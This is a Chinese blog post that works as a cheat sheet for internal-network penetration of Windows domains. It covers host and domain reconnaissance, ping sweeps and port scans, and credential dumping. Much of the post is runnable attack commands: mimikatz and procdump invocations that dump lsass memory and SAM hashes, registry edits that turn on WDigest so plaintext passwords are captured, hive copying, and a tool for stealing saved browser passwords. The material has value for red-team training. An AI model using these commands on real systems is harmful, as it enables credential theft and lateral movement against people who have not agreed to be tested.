内网渗透-信息收集-精简详细篇
一、前言
上一篇我们已经讲了在Windows 主机里面信息探测的一些命令,但是有很多很杂,这里就把最常用的列在这里就行。
二、本机基础信息收集
1.查看当前用户、权限。whoami /all
2.查看网络配置`ipconfig /all`
3.查看主机路由信息route print
4.查看操作系统信息systeminfo
5.查看端口连接信息:netstat -ano
6.查看当前会话列表:net session
7.查看网络共享信息:net share
8.查看已连接的网络共享: net use
9.查看当前进程信息:tasklist ,tasklist /svc (可通过这个进行杀软进程识别,)
10.查看计划任务:schtasks /query /v /fo list
wmic
wmic 是微软为了方便管理规范的一个命令行工具,使用它可以获取更多进程和服务的详细信息。
1.获取主机进程信息,并过滤进程的路径,名称和ID
wmic process get name ,processid,executablepath
2.获取具体某个进程的信息,就加个判断where语句就行
wmic process where name="dwm.exe" get executablepath
3.查看服务信息,并过滤出服务的名称,路径,创建时间,运行状态。查看具体某项服务的具体信息和上述一样
wmic service get caption,name,pathname,startname,state
4.查看系统补丁安装信息,可通过这个来进行提劝收集。这可列出主机补丁列表,包括链接,名称,描述,编号,时间
wmic qfe get caption ,csname ,description,hotfixid ,installedon
5.查看主机上安装的软件信息,过滤出应用名称和版本
wmic product get caption ,version
6.查看自启程序信息
wmic startup get caption ,command ,location , user
三、域内信息收集
域内信息收集首先是判断是否存在域,这不说了,下面介绍常使用的命令:
1.net group /domain
net group "xx" /domain
net user /domain
net user 'xx' /domain
2.上面的命令用于收集域内组和用户的信息,另外:
wmic useraccount get caption , domain, description
可以获得域内所有用户的sid,所属域,描述信息。当然这个命令只能是域用户才能使用。
3.查看域内密码策略,有什么用?根据这些密码策略可以构造字典进行爆破
net account /domain
4.查看域控制器,获取域控制器的主机名
net group "domain controllers" /domain
nltest /DCLIST:traveler.com
5.知道域域控制器之后,当然还要知道他的地址,使用ping ,可以ping主机名,可以ping域名,当然其实域控基本上就是作为域的DNS服务器,主机的DNS解析就是域的地址。
6.然后我们还可以看看域的信任关系,为啥呢?一个用户只能访问自己本地域的信息,但是它想出轨去访问其他域的信息的话就需要建立域信任:
nltest /domain_trusts
四、内网资源探测
既然主机的信息和域的信息探测差不多了,那么接下来就是探测一下资源啦,这里基本上是通过各种扫描技术来探测,主要为了后续的攻击,探测出主机的操作系统,端口啊,端口上的服务啊,当前的版本的漏洞啊啥的。
1.探测内网存活主机
在进行探测之前肯定是先搭建内网代理的,这里就不讲,怎么搭建代理隧道见其他章节。
主机探测主要是通过一些协议,通常是ICMP。NeTBIOS,UDP,ARP,SNMP.SMB .协议很多,所以探索出存活主机的方式有很多。
1.1基于ICMP探测
一看到ICMP是吧,就想到ping ,是的,可以使用for 循环ping c段的主机
for /L %I in (1,1,254) do @ping -w 1 -n 1 10.10.10.%I | findstr "TTL="
1.2基于NetBIOS (网络基本输入、输出系统) 探测
上传nbtscan.exe到目标主机,地址http://unixwiz.net/tools/nbtscan.html
执行nbtscan.exe 10.10.10.0/24
1.3 基于UDP探测
kali自带一个 unicornscan ,它使用udp协议探测存活主机
unicornscan -mU 10.10.10.0/24
1.4 基于ARP协议
arp-scan 是一个快速扫描工具,很快,kali 自带,Windows需要上传
arp-scan.exe -t 10.10.10.0/24
2.探测端口
2.1 telnet 探测
telnet ip port 可以检测该端口是否打开
2.2 nmap
nmap -sS -p- ip
2.3 获取banner信息
banner信息中可能含有一些敏感信息
nc -nv ip port
telnet ip port
nmap --script=banner -p port ip
3.用户凭据收集
在内网渗透中,被攻击的主机通常只是作为跳板进行横向渗透,然而横向的一些攻击方法通常需要吸纳获得域内用户的密码。
mimikazt地址https://github.com/gentilkiwi/mimikatz
百度网盘:链接:https://pan.baidu.com/s/166t4E-SfvHyDwuxlfq6wTw提取码:3azc
3.1 获取域内主机的密码和哈希值
前言:
Windows的密码是存在SAM文件中的,这个文件位于%Systemroot%/system32/config目录下,这个文件包含了用户的账号密码。在用户登录时会将用户输入的账号密码与这个文件进行匹配。
那是怎么进行匹配的呢?那肯定还是要有进程是吧,这个进程就是lsass.exe ,当用户在登录界面输入账号密码后,这些东西就会存在进程的内存之中,那么好家伙,是不是我只要能读取这个内存那岂不是就OK了,但是这个操作时要权限滴,所以啊,提圈很重要,现在假设有权限了。
有了这么个东西叫做Mimikatz ,Mimikatz 是一款功能强大的凭据转储开源程序,可以帮助测试人员提升进程权限,注入进程,读取进程内存。
接下来要搞主机的密码我们就用这个工具去搞
1.读取lsass进程内存获取密码
在线模式:
上传mimikatz到主机,执行
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit
#privilege::debug 用于提权至debugprivilege权限,这个权限就可以导出内容了
#sekurlsa::logonpasswords 导出用户凭据
离线模式:
离线模式就是,将进程的内容转储在一个文件上,然后再进行导出用户凭据,那么转储的工具有哪些呢?有OutMinidump.ps1、Procdump、sharpdump 。通常使用微软官方提供的prodump
在目标机器上上传prodump 执行 prodump.exe -accepteula -ma lsass.dmp
这样就将lsass内存转储了,然后再执行:
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords full" exit
sekurlsa::minidump lsass.dump是加载内存文件
注意:
但是微软在2014年为了防止从内存中提取密码,禁用了WDigest 功能,使得Win sever2012及以上版本默认关闭Wdigest功能;但是可以通过修改注册表开启Wdigest功能,当下次登录或者注销登录的时候就可以重新获得密码:
#开启Wdigest
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
#关闭WDigest
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
2.读取SAM文件获取密码
也是直接使用mimikatz
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit
#privilege::dubug 提权至DebugPrivilege
#token::elevate 提权至system
#lsadump:sam 读取本地sam文件
离线:
为了防止SAM被脱裤直接被破解,window设置了秘钥,这个秘钥存在同目录下的SYSTEM文件中,所以要导出这两个文件(SAM和SYSTEM),但是呢这两个文件又是锁定的,又要借助工具才能导出,使用Invoke-NinjaCopy.ps1脚本
Invoke-NinjaCopy -path "C:\windows\system32\config\SAM" -LocalDestination C:\temp\SAM
Invoke-NinCopy -path "C:\windows\system32\config\SYSTEM" -LocalDestination C:\temp\SYSTEM
当然除了工具之外也可以在管理员权限下通过注册表保存的方式:
reg save HKLM\SAM sam.hive
reg save HKLM\SYSTEM system.hive
通过上述两个方式导出文件之后继续使用mimikatz来读取明文凭据信息
mimikatz.exe "lsadump::sam /sam:sam.hive /system:system.hive" exit
五、主机软件中的凭据
有一些软件会自动把密码存储,这些密码哎嘿,你懂的。
1.获取PDR远程桌面的凭据
也是使用mimikatz来解密。
2.可获取xshell等远程连接工具的密码
3.获取浏览器保存的登录密码
使用工具HackBrowserData。上传到主机,直接运行即可。
地址:https://github.com/moonD4rk/HackBrowserData/releases/tag/v0.4.4
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 在鹅厂做java开发是什么体验
· 百万级群聊的设计实践
· WPF到Web的无缝过渡:英雄联盟客户端的OpenSilver迁移实战
· 永远不要相信用户的输入:从 SQL 注入攻防看输入验证的重要性
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析